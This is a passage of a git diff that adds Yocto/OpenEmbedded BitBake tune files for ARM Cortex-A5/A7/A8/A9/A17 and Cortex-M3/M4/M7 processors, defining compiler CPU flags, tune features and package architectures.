+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
new file mode 100644
index 0000000000..3ad00b16d8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa17thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17 = "arm vfp cortexa17"
+TUNE_FEATURES:tune-cortexa17t = "${TUNE_FEATURES:tune-cortexa17} thumb"
+TUNE_FEATURES:tune-cortexa17-neon = "${TUNE_FEATURES:tune-cortexa17} neon"
+TUNE_FEATURES:tune-cortexa17t-neon = "${TUNE_FEATURES:tune-cortexa17-neon} thumb"
+TUNE_FEATURES:tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa17-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17hf = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17hf = "${TUNE_FEATURES:tune-cortexa17} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf = "${TUNE_FEATURES:tune-cortexa17t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon = "${TUNE_FEATURES:tune-cortexa17-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon = "${TUNE_FEATURES:tune-cortexa17t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa17hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
new file mode 100644
index 0000000000..0de5aadaaa
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa5thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5 = "arm vfp cortexa5"
+TUNE_FEATURES:tune-cortexa5t = "${TUNE_FEATURES:tune-cortexa5} thumb"
+TUNE_FEATURES:tune-cortexa5-neon = "${TUNE_FEATURES:tune-cortexa5} neon"
+TUNE_FEATURES:tune-cortexa5t-neon = "${TUNE_FEATURES:tune-cortexa5-neon} thumb"
+TUNE_FEATURES:tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5hf = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5hf = "${TUNE_FEATURES:tune-cortexa5} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf = "${TUNE_FEATURES:tune-cortexa5t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon = "${TUNE_FEATURES:tune-cortexa5-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon = "${TUNE_FEATURES:tune-cortexa5t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
new file mode 100644
index 0000000000..1ada527d8b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa7thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7 = "arm vfp cortexa7"
+TUNE_FEATURES:tune-cortexa7t = "${TUNE_FEATURES:tune-cortexa7} thumb"
+TUNE_FEATURES:tune-cortexa7-neon = "${TUNE_FEATURES:tune-cortexa7} neon"
+TUNE_FEATURES:tune-cortexa7t-neon = "${TUNE_FEATURES:tune-cortexa7-neon} thumb"
+TUNE_FEATURES:tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa7-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7hf = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7hf = "${TUNE_FEATURES:tune-cortexa7} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf = "${TUNE_FEATURES:tune-cortexa7t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon = "${TUNE_FEATURES:tune-cortexa7-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon = "${TUNE_FEATURES:tune-cortexa7t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa7hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
new file mode 100644
index 0000000000..952302afa2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
@@ -0,0 +1,39 @@
+DEFAULTTUNE ?= "cortexa8thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
+ARMPKGARCH:tune-cortexa8 = "cortexa8"
+ARMPKGARCH:tune-cortexa8t = "cortexa8"
+ARMPKGARCH:tune-cortexa8-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8t-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8 = "arm vfp cortexa8"
+TUNE_FEATURES:tune-cortexa8t = "${TUNE_FEATURES:tune-cortexa8} thumb"
+TUNE_FEATURES:tune-cortexa8-neon = "${TUNE_FEATURES:tune-cortexa8} neon"
+TUNE_FEATURES:tune-cortexa8t-neon = "${TUNE_FEATURES:tune-cortexa8-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa8-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
+ARMPKGARCH:tune-cortexa8hf = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf = "cortexa8"
+ARMPKGARCH:tune-cortexa8hf-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8hf = "${TUNE_FEATURES:tune-cortexa8} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf = "${TUNE_FEATURES:tune-cortexa8t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8hf-neon = "${TUNE_FEATURES:tune-cortexa8-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf-neon = "${TUNE_FEATURES:tune-cortexa8t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa8hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
new file mode 100644
index 0000000000..4b4a52884d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
@@ -0,0 +1,55 @@
+DEFAULTTUNE ?= "cortexa9thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
+ARMPKGARCH:tune-cortexa9 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t = "cortexa9"
+ARMPKGARCH:tune-cortexa9-neon = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9 = "arm vfp cortexa9"
+TUNE_FEATURES:tune-cortexa9t = "${TUNE_FEATURES:tune-cortexa9} thumb"
+TUNE_FEATURES:tune-cortexa9-neon = "${TUNE_FEATURES:tune-cortexa9} neon"
+TUNE_FEATURES:tune-cortexa9t-neon = "${TUNE_FEATURES:tune-cortexa9-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa9-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
+ARMPKGARCH:tune-cortexa9hf = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-neon = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9hf = "${TUNE_FEATURES:tune-cortexa9} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf = "${TUNE_FEATURES:tune-cortexa9t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9hf-neon = "${TUNE_FEATURES:tune-cortexa9-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf-neon = "${TUNE_FEATURES:tune-cortexa9t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa9hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
+
+# VFPv3 Tunes
+AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
+ARMPKGARCH:tune-cortexa9-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf-vfpv3 = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9-vfpv3 = "${TUNE_FEATURES:tune-cortexa9} vfpv3"
+TUNE_FEATURES:tune-cortexa9t-vfpv3 = "${TUNE_FEATURES:tune-cortexa9t} vfpv3"
+TUNE_FEATURES:tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9hf} vfpv3"
+TUNE_FEATURES:tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9thf} vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
new file mode 100644
index 0000000000..a6cb566387
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M3
+#
+DEFAULTTUNE ?= "cortexm3"
+
+TUNEVALID[cortexm3] = "Enable Cortex-M3 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm3', ' -mcpu=cortex-m3', '', d)}"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "cortexm3"
+ARMPKGARCH:tune-cortexm3 = "cortexm3"
+TUNE_FEATURES:tune-cortexm3 = "${TUNE_FEATURES:tune-armv7m} cortexm3"
+PACKAGE_EXTRA_ARCHS:tune-cortexm3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7m} cortexm3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
new file mode 100644
index 0000000000..e86622ff3d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M4
+#
+DEFAULTTUNE ?= "cortexm4"
+
+TUNEVALID[cortexm4] = "Enable Cortex-M4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm4', ' -mcpu=cortex-m4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm4"
+ARMPKGARCH:tune-cortexm4 = "cortexm4"
+TUNE_FEATURES:tune-cortexm4 = "${TUNE_FEATURES:tune-armv7em} cortexm4"
+PACKAGE_EXTRA_ARCHS:tune-cortexm4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm4"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
new file mode 100644
index 0000000000..6434ec6398
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M7
+#
+DEFAULTTUNE ?= "cortexm7"
+
+TUNEVALID[cortexm7] = "Enable Cortex-M7 specific processor optimizations"
